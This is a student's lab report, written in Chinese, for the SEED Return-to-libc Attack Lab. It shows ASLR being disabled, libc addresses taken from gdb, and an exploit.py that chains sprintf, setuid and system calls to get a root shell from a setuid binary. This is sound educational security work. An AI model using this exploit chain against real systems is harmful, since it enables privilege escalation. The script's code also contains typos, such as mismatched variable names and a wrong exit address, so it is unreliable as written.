网络空间安全实验基础实验报告

姓名：韩永欣　学号：57119107

1. 实验内容

Return-to-libc Attack Lab

2. 实验过程

Task1

关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

连接/bin/sh 到 zsh

sudo ln -sf /bin/zsh /bin/sh

使用 gdb

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retl
ib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did
 you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Di
d you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x565562ef
```

```
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs_20.04/Software Security/Return-
to-Libc Attack Lab (32-bit)/Labsetup/retlib
[----------------------------------registers-----------------------------
------]
EAX: 0xf7fb6808 --> 0xffffd15c --> 0xffffd35a ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x3db9ee9b
EDX: 0xffffd0e4 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffd0bc --> 0xf7debee5 (<__libc_start_main+245>:        add    es
p,0x10)
EIP: 0x565562ef (<main>:        endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction ove
rflow)
[-------------------------------------code-------------------------------
------]
   0x565562ea <foo+58>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562ed <foo+61>: leave
   0x565562ee <foo+62>: ret
=> 0x565562ef <main>:   endbr32
   0x565562f3 <main+4>: lea    ecx,[esp+0x4]
   0x565562f7 <main+8>: and    esp,0xfffffff0
   0x565562fa <main+11>:        push   DWORD PTR [ecx-0x4]
   0x565562fd <main+14>:        push   ebp
[-----------------------------------stack--------------------------------

[-----------------------------------stack--------------------------------
------]
0000| 0xffffd0bc --> 0xf7debee5 (<__libc_start_main+245>:       add    es
p,0x10)
0004| 0xffffd0c0 --> 0x1
0008| 0xffffd0c4 --> 0xffffd154 --> 0xffffd2f7 ("/home/seed/Desktop/Labs_
20.04/Software Security/Return-to-Libc Attack Lab (32-bit)/Labsetup/retli
b")
0012| 0xffffd0c8 --> 0xffffd15c --> 0xffffd35a ("SHELL=/bin/bash")
0016| 0xffffd0cc --> 0xffffd0e4 --> 0x0
0020| 0xffffd0d0 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd0d4 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd0d8 --> 0xffffd138 --> 0xffffd154 --> 0xffffd2f7 ("/home/see
d/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab (32-bit)
/Labsetup/retlib")
[-----------------------------------------------------------------------
------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565562ef in main ()
```

得到：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Task 2

新建环境变量

```
[07/13/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:~/.../Labsetup$  env | grep MYSHELL
MYSHELL=/bin/sh
```

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib
retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

运行 retlib

```
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3d4
Address of input[] inside main():  0xffffcd6c
Input size: 0
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
Segmentation fault
```

其中 fffd3d4 即 MYSHELL 的地址

Task3

X 是 4 的倍数，Y=X-8, Z=X-4，修改 X 的值，进行尝试

攻击不成功时，如下图所示

```
bash: ./retlib: No such file or directory
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o
retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3d4
Segmentation fault
```

当 X=36 时，攻击成功，如图

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd70
Input size: 300
Address of buffer[] inside bof():  0xffffcd40
Frame Pointer value inside bof():  0xffffcd58
#
```

Attack variation 1: Is the `exit()` function really necessary? Please try your attack without including the address of this function in `badfile`. Run your attack again, report and explain your observations.

根据题意，将 exploit.py 中 exit 部分注释掉，再次运行，当退出时，发生错误，所以 exit()是必要的。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd70
Input size: 300
Address of buffer[] inside bof():  0xffffcd40
Frame Pointer value inside bof():  0xffffcd58
# exit
Segmentation fault
```

Attack variation 2: After your attack is successful, change the file name of `retlib` to a different name, making sure that the length of the new file name is different. For example, you can change it to `newretlib`. Repeat the attack (without changing the content of `badfile`). Will your attack succeed or not? If it does not succeed, explain why.

将文件 retlib 改名为 newwretlib，运行发现提权失败

```
[07/19/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd5c
Input size: 300
Address of buffer[] inside bof():  0xffffcd20
Frame Pointer value inside bof():  0xffffcd38
zsh:1: command not found: h
```

改名为 aaalib，运行发现提权成功。

```
[07/19/21]seed@VM:~/.../Labsetup$ ./aaalib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
#
```

即攻击成功与否与程序名的长度有关。

Task4

修改路径

```
[07/19/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/dash /bin/sh
```

获取 libc 函数地址

```
gdb-peda$ p sprintf
$1 = {<text variable, no debug info>} 0xf7e20e40 <sprintf>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xf7e99e30 <setuid>
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

输入`gdb-peda$ disas bof` 获得 bof（）返回地址

```
0x5655628b <+62>:    push   eax
0x5655628c <+63>:    call   0x565560b0 <printf@plt>
0x56556291 <+68>:    add    esp,0x10
0x56556294 <+71>:    sub    esp,0x8
0x56556297 <+74>:    push   DWORD PTR [ebp+0x8]
0x5655629a <+77>:    lea    eax,[ebp-0x18]
0x5655629d <+80>:    push   eax
0x5655629e <+81>:    call   0x565560d0 <strcpy@plt>
0x565562a3 <+86>:    add    esp,0x10
0x565562a6 <+89>:    mov    eax,0x1
0x565562ab <+94>:    mov    ebx,DWORD PTR [ebp-0x4]
0x565562ae <+97>:    leave
0x565562af <+98>:    ret
```

根据打印出的 ebp 地址和 MYSHELL 地址，修改 exploit.py

```
# !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
# setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
```

```
# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
# Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
```

运行程序，成功提权

```
[07/19/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retl
ib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/19/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/19/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3c3
Address of input[] inside main():  0xffffcd5c
Input size: 300
Address of buffer[] inside bof():  0xffffcd20
Frame Pointer value inside bof():  0xffffcd38
# whoami
root
```